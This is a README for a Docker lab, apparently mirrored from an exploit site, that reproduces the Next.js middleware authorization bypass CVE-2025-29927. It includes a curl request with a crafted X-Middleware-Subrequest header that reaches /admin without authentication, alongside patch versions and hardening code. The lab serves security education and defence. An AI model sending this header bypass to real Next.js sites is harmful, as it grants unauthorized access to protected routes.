Share
## https://sploitus.com/exploit?id=C1B9617D-E461-53B7-A670-4BAD4FA46CBF
```markdown
# ๐Ÿšจ NextJS-CVE-2025-29927-Docker-Lab

This repository contains a **Docker-based lab** environment to explore and demonstrate the **Next.js CVE-2025-29927** vulnerability in a controlled setting.

> โš ๏ธ **DISCLAIMER:** This lab is for educational and security research purposes only. Do not expose it to the public internet or use it in production.

---

## ๐Ÿ“ฆ Features

- โœ… Vulnerable Next.js application
- โœ… Containerized with Docker
- โœ… Designed for local testing of CVE-2025-29927
- โœ… Includes pre-configured routes and UI
- โœ… Easy to set up and run

---

## ๐Ÿ›  Prerequisites

Ensure you have the following installed:

- [Docker](https://www.docker.com/products/docker-desktop) (v20+)
- [Git](https://git-scm.com/downloads)
- Optional: [Node.js](https://nodejs.org/) if you plan to run outside Docker

---

## ๐Ÿš€ Getting Started

Follow these steps to clone and run the lab:

### 1. Clone the Repository

```bash
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab
```

### 2. Build and Run with Docker

```bash
docker-compose up --build
```

This will:

- Build the Docker image
- Start the vulnerable Next.js server
- Expose the app at [http://localhost:3000](http://localhost:3000)

---

## ๐Ÿ“‚ Folder Structure

```
.
โ”œโ”€โ”€ app/                     # Main Next.js app code
โ”œโ”€โ”€ public/                  # Static assets (images, etc.)
โ”œโ”€โ”€ Dockerfile               # Docker setup for app
โ”œโ”€โ”€ docker-compose.yml       # Compose configuration
โ”œโ”€โ”€ .env                     # Environment variables (if any)
โ”œโ”€โ”€ README.md                # You are here
```

---

## ๐Ÿงช Testing the Vulnerability


# ๐Ÿ›ก๏ธ CVE-2025-29927 - Next.js Middleware Authorization Bypass

> โš ๏ธ **WARNING**: This documentation is for **educational and security research purposes** only. Do not deploy the vulnerable app in a production environment.

---

## ๐Ÿ” Overview

**CVE-2025-29927** is a critical authorization bypass vulnerability in Next.js middleware. It allows attackers to skip middleware-based authentication and access protected routes by manipulating the `X-Middleware-Subrequest` header. 

---



## ๐Ÿงช Reproducing the Vulnerability

### 1. Accessing Protected Routes Without Authentication

Attempt to access a protected route, such as `/admin`, without any authentication:

```bash
curl http://localhost:3000/admin
```

**Expected Behavior**: Access is denied or redirected to an unauthorized page.

**Vulnerable Behavior**: Access is granted without authentication.

### 2. Bypassing Middleware Using `X-Middleware-Subrequest` Header

Send a request with the `X-Middleware-Subrequest` header to bypass middleware checks:

```bash
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin
```

**Result**: Middleware is bypassed, and access to the protected route is granted.

---

## ๐Ÿ›ก๏ธ Mitigation Strategies

### 1. Upgrade Next.js to a Patched Version

Update Next.js to one of the following versions where the vulnerability is fixed:

* 14.2.25
* 15.2.3

```bash
npm install next@latest
```

### 2. Implement Middleware Hardening

Enhance your middleware to validate requests properly and reject any with suspicious headers:

```javascript
import { NextResponse } from 'next/server';

export function middleware(request) {
  const subrequestHeader = request.headers.get('x-middleware-subrequest');
  if (subrequestHeader) {
    return new NextResponse('Unauthorized', { status: 401 });
  }
  // Continue with normal processing
  return NextResponse.next();
}
```

### 3. Configure Reverse Proxy to Strip Suspicious Headers

If you're using a reverse proxy (e.g., Nginx), configure it to remove the `X-Middleware-Subrequest` header from incoming requests:

```nginx
location / {
  proxy_pass http://localhost:3000;
  proxy_set_header X-Middleware-Subrequest "";
}
```

---

## ๐Ÿ“š References

* [NVD - CVE-2025-29927](https://nvd.nist.gov/vuln/detail/CVE-2025-29927)
* [Datadog Security Labs Analysis](https://securitylabs.datadoghq.com/articles/nextjs-middleware-auth-bypass/)
* [Vercel Postmortem](https://vercel.com/blog/postmortem-on-next-js-middleware-bypass)


This `VULNERABILITY.md` file provides a comprehensive guide to understanding and reproducing the CVE-2025-29927 vulnerability in a controlled environment. It also offers practical mitigation strategies to secure your Next.js applications against such exploits.

For a detailed demonstration and further insights into this vulnerability, you can refer to the full attack demo provided by Techtalkpine on the blog post which also is linked to the Youtube live demo: https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/ 

Let me know if you need assistance with any specific part of this setup or further clarification on the mitigation steps. 
```

---

## ๐Ÿงน Tear Down

To stop and remove containers:

```bash
docker-compose down
```

---

## ๐Ÿ“š Resources

- [Next.js Docs](https://nextjs.org/docs)
- [Docker Docs](https://docs.docker.com/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)

---

## โš ๏ธ Legal Disclaimer

This project is intended solely for educational and research purposes. You are responsible for using it in accordance with all applicable laws and ethical guidelines. The author is not liable for any misuse or damage caused.